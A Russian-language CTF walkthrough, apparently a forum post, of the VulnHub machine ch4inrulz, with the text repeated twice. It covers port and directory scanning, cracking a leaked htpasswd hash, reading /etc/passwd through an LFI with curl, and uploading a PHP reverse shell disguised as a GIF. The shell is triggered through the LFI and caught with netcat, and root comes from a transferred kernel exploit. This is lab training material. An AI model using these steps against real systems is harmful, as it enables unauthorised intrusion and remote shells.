Привет Codeby, сегодня мы пройдем еще одно задачу CTF под названием ch4inrulz: 1.0.1 которую мы можем загрузить с Vulnhub.com и установить (
В описание сказано, что данная уязвимая машина была специально разработана для Top Jackan 2018 CTF. Ключевая особенность заключается в том, что данная машина была предназначена для имитации реальных атак.
Уровень средний.
Определение IP
Первая наша задача это узнать IP адрес машины. Сделать это можно хоть с помощью arp-scan хоть с netdiscover. Я загляну на аренду DHCP адресов в настройках своего роутера.
По старинке, как всегда, мы начинаем наш анализ со сканирования портов. Для этой цели используем nmap. Команда: nmap
Также для анализа я использую программу Acunetix web vulnerability scanner.
Это программа отлично подходит для наших целей - обнаружение уязвимых мест в машине. Она также умеет брутить директории. Обычно для этого используют утилиту dirsearch.
Поиск интересных каталогов
Воспользуемся dirsearch чтобы найти что-то интересное. Команда будет выглядеть:
Где -u IP адрес(мы помним что у нас открыт 80 порт)
-e расширения файлов для поиска
-x команда для игнорирования ответа с сервера с номером 403
Результат поиска:
Лично меня поиск не удовлетворил, интересным оказался только каталог development. Но сначала перейдем по адресу
Полазив по сайту(в исходном коде) ничего интересного не находя переходим в каталог development
Ага, вход на сайт запрещен. Стандартные переменные(admin,1234,password and etc.) не подходят, значит нам придется брутить. Но пока можем посмотреть что нашел Acunetix
Здесь интересным для оказался файл index.html.bak. Скачав и открыв его(я сначала переименуем его в index.html). Открываем и видим:
Здесь стоит заглянуть и посмотреть исходный код страницы. Открываем:
Интересным оказалась строка:
Теперь нам нужно расшифровать это хеш. Я использую JOHN. Через некоторое время мы получим результат - frank:frank!!!.
Теперь стоит заметить, что в строке фигурирует .htpasswd. Посмотрим что это. Просто так нам не посмотреть(сервер возвращает код 403, у нас нет доступа.) Значит мы попробуем залогиниться с данными которые мы раньше нашли. Данные подошли и результат:
После получение этого файла и внимательного анализа можно догадаться, что нам нужен инструмент для загрузки файлов. P.S. uploader. Теперь наша строка выглядит:
Также замечаем, что защита скрипта составляет 50%. Значит имеем дело с какой-то популярной уязвимостью. Также стоит заметить, что сервер принимает только image файлы(фильтрация). Скорее всего мы сможем обойти и запустить нашу полезную нагрузку.
Сканирование порта 8011
Переходим по адресу
Недолго думая сразу брутим каталоги + можно запустить Acunetix web vulnerability scanner.
Команда:
Acunetix ничего не нашел. А вот dirsearch:
Идем сразу по адресу и смотрим:
Сразу пытаемся вставлять эти файлы(P.S файл files_api.php). Наш пазл отлично собирается(А почему?) Да потому что в здесь имеется уязвимость LFI(Local File Inclusion). Может нам стоит посмотреть файл /etc/passwd?
Адрес выглядит следующим образом -
Исследуем дальше… Воспользуемся утилитой curl.
Команда:
Здесь все должно быть понятным, а результат меня обрадовал:
Загружаем shell
И так мы имеем LFI + file upload = shell. Но нам нужно еще обойти функцию фильтрации загружаемых файлов. Также нам стоит узнать куда именно загружаются изображения. Здесь было очень и очень много попыток найти директорию куда все-таки могли загружаться изображения. Каталог FRANKuploads конечно был найден, но это было очень не просто.
Подготовка полезной нагрузки
Я попытался создать полезную нагрузку через meterpreter, но с получением сессии возникли проблемы. Поэтому поступим следующим образом. В Kali Linux возьмем файл /usr/share/webshells/php/php-reverse-shell.php. Теперь откроем его и добавим в самый верх строку GIF98(Надеюсь понятно зачем) Теперь нам также нужно заняться настройкой, найдем в файле следующий блок:
Теперь переименуем файл в shell.gif и загрузим на сервер. Перейдя по адресу
Теперь используя уязвимость LFI получим наконец-то доступ к машине. Воспользуемся curl. Команда:
И также предварительно настроив netcat(nc -lvp 8888) запустим и увидим результат.
Теперь мы хотим получить интерактивную оболочку Python
Получение Root прав
Теперь наша задача найти уязвимость и получить root права. Для этого будем использовать linux-exploit-suggester. Это отличная утилита которая найдет уязвимые места в системе.
Команда для скачивания:
Теперь запустим ..les.sh
Мы найдем много чего интересного. Уязвимость которая нам подходит
Скачав его и запустив Python SimpleHTTPServer мы сможем загрузить эксплоит на нашу машину. И так команда для запуска сервера: python -m SimpleHTTPServer 80
Теперь скачаем и запустим наш эксплоит:
Отлично root права получены. Осталось только прочитать root.txt
На этом прохождение CTF машины окончено).
Ссылка скрыта от гостей
).В описание сказано, что данная уязвимая машина была специально разработана для Top Jackan 2018 CTF. Ключевая особенность заключается в том, что данная машина была предназначена для имитации реальных атак.
Уровень средний.
Определение IP
Первая наша задача это узнать IP адрес машины. Сделать это можно хоть с помощью arp-scan хоть с netdiscover. Я загляну на аренду DHCP адресов в настройках своего роутера.
По старинке, как всегда, мы начинаем наш анализ со сканирования портов. Для этой цели используем nmap. Команда: nmap
-sV -p- 192.168.1.248
. Результат сканирования:Также для анализа я использую программу Acunetix web vulnerability scanner.
Это программа отлично подходит для наших целей - обнаружение уязвимых мест в машине. Она также умеет брутить директории. Обычно для этого используют утилиту dirsearch.
Поиск интересных каталогов
Воспользуемся dirsearch чтобы найти что-то интересное. Команда будет выглядеть:
python3 dirsearch.py -u http://192.168.1.248 -e php,html,png,bak -x 403
Где -u IP адрес(мы помним что у нас открыт 80 порт)
-e расширения файлов для поиска
-x команда для игнорирования ответа с сервера с номером 403
Результат поиска:
Лично меня поиск не удовлетворил, интересным оказался только каталог development. Но сначала перейдем по адресу
http://192.168.1.248
и взглянем с чем имеем дело.Полазив по сайту(в исходном коде) ничего интересного не находя переходим в каталог development
Ага, вход на сайт запрещен. Стандартные переменные(admin,1234,password and etc.) не подходят, значит нам придется брутить. Но пока можем посмотреть что нашел Acunetix
Здесь интересным для оказался файл index.html.bak. Скачав и открыв его(я сначала переименуем его в index.html). Открываем и видим:
Здесь стоит заглянуть и посмотреть исходный код страницы. Открываем:
Интересным оказалась строка:
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path →
Теперь нам нужно расшифровать это хеш. Я использую JOHN. Через некоторое время мы получим результат - frank:frank!!!.
Теперь стоит заметить, что в строке фигурирует .htpasswd. Посмотрим что это. Просто так нам не посмотреть(сервер возвращает код 403, у нас нет доступа.) Значит мы попробуем залогиниться с данными которые мы раньше нашли. Данные подошли и результат:
После получение этого файла и внимательного анализа можно догадаться, что нам нужен инструмент для загрузки файлов. P.S. uploader. Теперь наша строка выглядит:
http://192.168.1.248/development/uploader/
и видим:Также замечаем, что защита скрипта составляет 50%. Значит имеем дело с какой-то популярной уязвимостью. Также стоит заметить, что сервер принимает только image файлы(фильтрация). Скорее всего мы сможем обойти и запустить нашу полезную нагрузку.
Сканирование порта 8011
Переходим по адресу
http://192.168.1.248
. Результат:Недолго думая сразу брутим каталоги + можно запустить Acunetix web vulnerability scanner.
Команда:
python3 dirsearch.py -u http://192.168.1.248:8011 -e php,html,bak,png,txt -x 403
Acunetix ничего не нашел. А вот dirsearch:
Идем сразу по адресу и смотрим:
http://192.168.1.248:8011/api
Сразу пытаемся вставлять эти файлы(P.S файл files_api.php). Наш пазл отлично собирается(А почему?) Да потому что в здесь имеется уязвимость LFI(Local File Inclusion). Может нам стоит посмотреть файл /etc/passwd?
Адрес выглядит следующим образом -
http://192.168.1.248:8011/api/files_api.php?file=/etc/passwd
.Исследуем дальше… Воспользуемся утилитой curl.
Команда:
curl -X POST -d "file=/etc/passwd" [URL]http://192.168.1.248:8011/api/files_api.php[/URL]
Здесь все должно быть понятным, а результат меня обрадовал:
Загружаем shell
И так мы имеем LFI + file upload = shell. Но нам нужно еще обойти функцию фильтрации загружаемых файлов. Также нам стоит узнать куда именно загружаются изображения. Здесь было очень и очень много попыток найти директорию куда все-таки могли загружаться изображения. Каталог FRANKuploads конечно был найден, но это было очень не просто.
Подготовка полезной нагрузки
Я попытался создать полезную нагрузку через meterpreter, но с получением сессии возникли проблемы. Поэтому поступим следующим образом. В Kali Linux возьмем файл /usr/share/webshells/php/php-reverse-shell.php. Теперь откроем его и добавим в самый верх строку GIF98(Надеюсь понятно зачем) Теперь нам также нужно заняться настройкой, найдем в файле следующий блок:
Теперь переименуем файл в shell.gif и загрузим на сервер. Перейдя по адресу
http://192.168.1.248/development/uploader/FRANKuploads/
увидим, что файл загружен.Теперь используя уязвимость LFI получим наконец-то доступ к машине. Воспользуемся curl. Команда:
curl -X POST -d "file=/var/www/development/uploader/FRANKuploads/shell.gif" [URL]http://192.168.1.248:8011/api/files_api.php[/URL]
И также предварительно настроив netcat(nc -lvp 8888) запустим и увидим результат.
Теперь мы хотим получить интерактивную оболочку Python
Получение Root прав
Теперь наша задача найти уязвимость и получить root права. Для этого будем использовать linux-exploit-suggester. Это отличная утилита которая найдет уязвимые места в системе.
Команда для скачивания:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
Теперь запустим ..les.sh
Мы найдем много чего интересного. Уязвимость которая нам подходит
Ссылка скрыта от гостей
(RDS privilege escalation exploit).Скачав его и запустив Python SimpleHTTPServer мы сможем загрузить эксплоит на нашу машину. И так команда для запуска сервера: python -m SimpleHTTPServer 80
Теперь скачаем и запустим наш эксплоит:
Отлично root права получены. Осталось только прочитать root.txt
На этом прохождение CTF машины окончено).
Вложения
Последнее редактирование: